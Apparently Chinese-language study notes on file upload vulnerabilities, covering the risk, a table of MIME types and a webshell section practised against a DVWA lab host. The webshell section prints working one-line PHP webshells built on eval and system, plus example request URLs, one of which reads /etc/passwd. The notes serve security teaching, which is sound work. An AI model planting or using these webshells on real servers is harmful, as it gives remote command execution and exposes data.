简介
- 文件上传(File Upload )是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等
- 正常的文件一般是文档、图片、视频等, Web应用收集之后放入后台存储,需要的时候再调用出来返回
- 如果恶意文件如PHP,ASP等执行文件绕过web应用,并顺利执行,则相当于黑客直接拿到了webshe11
- 一旦黑客拿到Webshel1 ,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网
- SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击Web服务,实际渗透两种相结合,达到对目标的深度控制
实验
实验一
实验二
类型 | 描述 | 典型示例 |
---|---|---|
text |
表明文件是普通文本,理论上是人类可读 | text/plain , text/html , text/css, text/javascript |
image |
表明是某种图像。不包括视频,但是动态图(比如动态gif)也使用image类型 | image/gif , image/png , image/jpeg , image/bmp , image/webp , image/x-icon , image/vnd.microsoft.icon |
audio |
表明是某种音频文件 | audio/midi , audio/mpeg, audio/webm, audio/ogg, audio/wav |
video |
表明是某种视频文件 | video/webm , video/ogg |
application |
表明是某种二进制数据 | application/octet-stream , application/pkcs12 , application/vnd.mspowerpoint , application/xhtml+xml , application/xml , application/pdf |
对于text文件类型若没有特定的subtype,就使用
text/plain
。类似的,二进制文件没有特定或已知的 subtype,即使用application/octet-stream
。
Webshell
小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵系统检测到
shell1.php #文件名称
eval使用php函数,例如phpinfo()
代码如下
<?php eval($_REQUEST['password']);?>
示例
http://10.3.139.173/dvwa/hackable/uploads/shell1.php?password=phpinfo();
shell2.php #文件名称
system使用Linux系统命令,例如1s,cp,rm
代码如下
<?php system($_REQUEST['password']);?>
示例
http://10.3.139.173/dvwa/hackable/uploads/shell2php?password=cat /etc/passwd
<?php @eval($_POST['password']);?>
说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。